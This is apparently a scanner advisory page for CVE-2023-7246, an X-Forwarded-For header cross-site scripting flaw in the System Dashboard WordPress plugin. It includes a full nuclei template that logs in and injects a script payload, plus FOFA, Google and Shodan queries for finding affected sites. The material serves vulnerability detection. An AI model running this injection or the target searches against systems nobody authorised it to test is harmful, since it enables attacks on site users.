System Dashboard < 2.8.10 - Cross-Site Scripting

mediumseverity

5.4CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.

Impact

Authenticated administrators in multisite WordPress configurations can inject malicious JavaScript through X-Forwarded-For header to execute attacks against other WordPress users.

Fix

Update the System Dashboard plugin to version 2.8.10 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/index.php?page=system-dashboard
Positive when: contains "<script>alert(document.domain)</script>" and "Your IP</strong>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-7246 -u <target>

The full check

id: CVE-2023-7246

info:
  name: System Dashboard < 2.8.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.
  impact: |
    Authenticated administrators in multisite WordPress configurations can inject malicious JavaScript through X-Forwarded-For header to execute attacks against other WordPress users.
  remediation: |
    Update the System Dashboard plugin to version 2.8.10 or later.
  reference:
    - https://wpscan.com/vulnerability/7413d5ec-10a7-4cb8-ac1c-4ef554751518/
    - https://research.cleantalk.org/cve-2023-7246/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7246
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-7246
    cwe-id: CWE-79
    epss-score: 0.00807
    epss-percentile: 0.57129
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="wp-content/plugins/system-dashboard/"
    google-query: inurl:"/wp-content/plugins/system-dashboard/"
    shodan-query: html:"wp-content/plugins/system-dashboard/"
  tags: cve,cve2023,wp,wordpress,xss,wp-plugin,authenticated,system-dashboard,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/index.php?page=system-dashboard HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 0.0.0.0<script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Your IP</strong>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from